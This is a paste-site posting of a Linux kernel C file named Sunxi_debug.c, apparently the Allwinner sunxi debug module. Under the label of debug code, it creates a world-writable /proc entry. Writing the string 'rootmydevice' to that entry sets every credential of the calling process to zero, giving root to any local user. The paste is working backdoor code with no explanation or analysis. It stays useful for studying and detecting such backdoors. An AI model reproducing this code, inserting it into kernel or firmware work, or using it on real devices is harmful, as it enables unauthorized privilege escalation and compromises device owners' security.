Sunxi_debug.c


SUBMITTED BY: crazyren

DATE: May 23, 2016, 11:52 p.m.

FORMAT: C++

SIZE: 2.0 kB

HITS: 321

  1. /*
  2. * Sunxi_debug.c
  3. *
  4. *
  5. * This program is free software; you can redistribute it and/or modify
  6. * it under the terms of the GNU General Public License version 2 as
  7. * published by the Free Software Foundation.
  8. */
  9. #include <linux/kernel.h>
  10. #include <linux/types.h>
  11. #include <linux/export.h>
  12. #include <linux/kthread.h>
  13. #include <linux/debugfs.h>
  14. #include <linux/proc_fs.h>//add by fe3o4
  15. #include <linux/uaccess.h>
  16. #include <linux/cred.h>
  17. static struct proc_dir_entry *proc_root;
  18. static struct proc_dir_entry * proc_su;
  19. static int sunxi_proc_su_write(struct file *file, const char __user *buffer,
  20. unsigned long count, void *data)
  21. {
  22. char *buf;
  23. struct cred *cred;
  24. if (count < 1)
  25. return -EINVAL;
  26. buf = kmalloc(count, GFP_KERNEL);
  27. if (!buf)
  28. return -ENOMEM;
  29. if (copy_from_user(buf, buffer, count)) {
  30. kfree(buf);
  31. return -EFAULT;
  32. }
  33. if(!strncmp("rootmydevice",(char*)buf,12)){
  34. cred = (struct cred *)__task_cred(current);
  35. cred->uid = 0;
  36. cred->gid = 0;
  37. cred->suid = 0;
  38. cred->euid = 0;
  39. cred->euid = 0;
  40. cred->egid = 0;
  41. cred->fsuid = 0;
  42. cred->fsgid = 0;
  43. printk("now you are root\n");
  44. }
  45. kfree(buf);
  46. return count;
  47. }
  48. static int sunxi_proc_su_read(char *page, char **start, off_t off,
  49. int count, int *eof, void *data)
  50. {
  51. printk("sunxi debug: rootmydevice\n");
  52. return 0;
  53. }
  54. static int sunxi_root_procfs_attach(void)
  55. {
  56. proc_root = proc_mkdir("sunxi_debug", NULL);
  57. proc_su= create_proc_entry("sunxi_debug", 0666, proc_root);
  58. if (IS_ERR(proc_su)){
  59. printk("create sunxi_debug dir error\n");
  60. return -1;
  61. }
  62. proc_su->data = NULL;
  63. proc_su->read_proc = sunxi_proc_su_read;
  64. proc_su->write_proc = sunxi_proc_su_write;
  65. return 0;
  66. }
  67. static int sunxi_debug_init(void)
  68. {
  69. int ret;
  70. ret = sunxi_root_procfs_attach();
  71. printk("===fe3o4==== sunxi_root_procfs_attach ret:%d\n", ret);
  72. if(ret){
  73. printk("===fe3o4== sunxi_root_procfs_attach failed===\n ");
  74. }
  75. return ret;
  76. }
  77. subsys_initcall(sunxi_debug_init);

comments powered by Disqus